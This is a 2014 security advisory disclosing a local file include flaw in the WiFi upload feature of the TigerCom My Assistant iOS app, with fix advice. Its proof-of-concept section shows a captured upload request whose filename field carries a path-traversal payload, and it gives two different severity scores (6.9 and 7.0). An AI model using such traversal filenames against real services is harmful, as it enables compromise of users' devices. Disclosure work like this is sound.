220 lines
9.2 KiB
Text
Executable file
220 lines
9.2 KiB
Text
Executable file
Document Title:
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===============
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TigerCom My Assistant v1.1 iOS - File Include Vulnerability
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References (Source):
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====================
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http://www.vulnerability-lab.com/get_content.php?id=1268
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Release Date:
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=============
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2014-05-23
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Vulnerability Laboratory ID (VL-ID):
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====================================
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1268
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Common Vulnerability Scoring System:
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====================================
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6.9
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Product & Service Introduction:
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===============================
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Folder manager, Convenient transmission, Document browsing, Compression & Decompression, Password-protected.
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- Support multi-level directory management
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- Add new folder
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- Open camera, store photos and recording video
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- Photos and video high fidelity storage
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- Import photos and videos from album
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- Export photos and videos to your album
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- Copy, paste, delete, Email attachments
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- Support multiple files operation
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- Support sorting by name and type
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- Icon shows file type
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Convenient transmission:
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- Wifi Transmission, you can share files between iphone, ipad and computer
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- Current open folder sharing, better protect your privacy
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- USB transfer and share files via Itunes
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Document browsing:
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- Txt document browsing and editing (txt)
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- PDF document browsing (pdf)
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- Word browsing (doc, docx)
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- Excel browsing (xls, xlsx)
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- PowerPoint browsing (ppt, pptx)
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- Picture browsing (png, jpg, jpeg, jpe)
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- Video player (mov, mp4, m4v, mpv, 3pg)
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- Audio player (mp3, wav, aif)
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Safty:
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- Intelligent encryption, protect the folder
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- Password-protected switch
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( Copy of the Homepage: https://itunes.apple.com/en/app/my-assistant-free/id626680229 )
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Abstract Advisory Information:
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==============================
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The Vulnerability Laboratory Research Team discovered a local file include web vulnerability in the official TigerCom My Assistant v1.1 iOS mobile web-application.
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Vulnerability Disclosure Timeline:
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==================================
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2014-05-23: Public Disclosure (Vulnerability Laboratory)
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Discovery Status:
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=================
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Published
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Affected Product(s):
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====================
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TigerCom
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Product: My Assistant Free 1.1
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Exploitation Technique:
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=======================
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Local
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Severity Level:
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===============
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High
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Technical Details & Description:
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================================
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A local file include web vulnerability has been discovered in the official TigerCom My Assistant v1.1 iOS mobile web-application.
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The local file include web vulnerability allows remote attackers to unauthorized include local file/path requests or system specific
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path commands to compromise the mobile web-application.
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The web vulnerability is located in the `filename` value of the `UPLOAD_FILE_TO_FOLDER` (uploadfile) module. Remote attackers are able
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to inject own files with malicious `filename` values in the `upload` POST method request to compromise the mobile web-application. The local
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file/path include execution occcurs in the index file/folder list context in the vulnerable name/path value. The attacker is able to inject
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the local file include request by usage of the available `wifi interface`.
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Remote attackers are also able to exploit the filename validation issue in combination with persistent injected script codes to execute
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different local malicious attacks requests. The attack vector is on the application-side of the wifi service and the request method to
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inject is POST.
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The security risk of the local file include web vulnerability is estimated as high with a cvss (common vulnerability scoring system)
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count of 7.0. Exploitation of the local file include web vulnerability requires no privileged web-application user account but low
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user interaction. Successful exploitation of the local file include web vulnerability results in mobile application or connected
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device component compromise.
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Request Method(s):
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[+] [POST]
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Vulnerable Service(s):
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[+] WiFi Sharing
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Vulnerable Module(s):
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[+] UPLOAD_FILE_TO_FOLDER
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Vulnerable File(s):
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[+] uploadfile
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Vulnerable Parameter(s):
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[+] filename
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Affected Module(s):
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[+] Index File/Folder Dir Listing (http://localhost:8080/)
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Proof of Concept (PoC):
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=======================
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The local file/path include web vulnerability can be exploited by local network attackers with low user interaction. For security demonstration or
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to reproduce the vulnerability follow the provided information and steps below to continue.
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PoC: UPLOAD FILE TO FOLDER
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<tbody><tr style="background:#fff;"><td colspan="2" align="left">Current Folder: Document</td></tr><tr style="background:#fff;">
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<td colspan="2" align="right"><a href="/UPLOAD_FILE_TO_FOLDER">Uploading files</a> </td></tr><tr><td colspan="2">
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<a href="68-2.png" target="_blank"> 68-2.png </a></td></tr><tr><td colspan="2">
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<a href="%20./../[LOCAL FILE/PATH INCLUDE WEB VULNERABILITY!].filetype" target="_blank"> %20./../[LOCAL FILE/PATH INCLUDE WEB VULNERABILITY!].filetype </a></td></tr>
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<tr><td colspan="2"><a href="night-city-pictures-24.jpg" target="_blank"> night-city-pictures-24.jpg </a></td></tr>
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</table></div></body>
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</html></iframe></a></td></tr></tbody>
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--- PoC Session Logs [POST] ---
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Status: 200[OK]
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POST http://localhost:8080/uploadfile Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Gr??e des Inhalts[-1] Mime Type[application/x-unknown-content-type]
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Request Header:
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Host[localhost:8080]
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User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0]
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Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
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Accept-Language[de,en-US;q=0.7,en;q=0.3]
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Accept-Encoding[gzip, deflate]
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Referer[http://localhost:8080/UPLOAD_FILE_TO_FOLDER]
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Connection[keep-alive]
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POST-Daten:
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POST_DATA[-----------------------------189051727528435
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Content-Disposition: form-data; name="upload1"; filename="<%20./../[LOCAL FILE/PATH INCLUDE WEB VULNERABILITY!].filetype"
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Content-Type: image/x
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Reference(s):
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http://localhost:8080/uploadfile
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http://localhost:8080/UPLOAD_FILE_TO_FOLDER
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Solution - Fix & Patch:
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=======================
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The vulnerability can be patched by a secure restriction and parse of the vulnerable filename value in the multi upload module.
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Restrict the input name value and encode the name output value in the index listing module to prevent further local file include attacks.
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Do not forget to disallow multiple file extensions which could result in the bypass or the filetype validation.
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Security Risk:
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==============
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The security risk of the local file include web vulnerability in the upload to file index module is estimated as high.
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Credits & Authors:
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==================
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Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com]
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Disclaimer & Information:
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=========================
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The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either
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expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers
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are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even
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if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation
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of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break
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any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material.
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Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com
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Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com
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Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to
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electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by
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Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website
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Copyright ? 2014 | Vulnerability Laboratory [Evolution Security]
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--
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VULNERABILITY LABORATORY RESEARCH TEAM
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DOMAIN: www.vulnerability-lab.com
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CONTACT: research@vulnerability-lab.com
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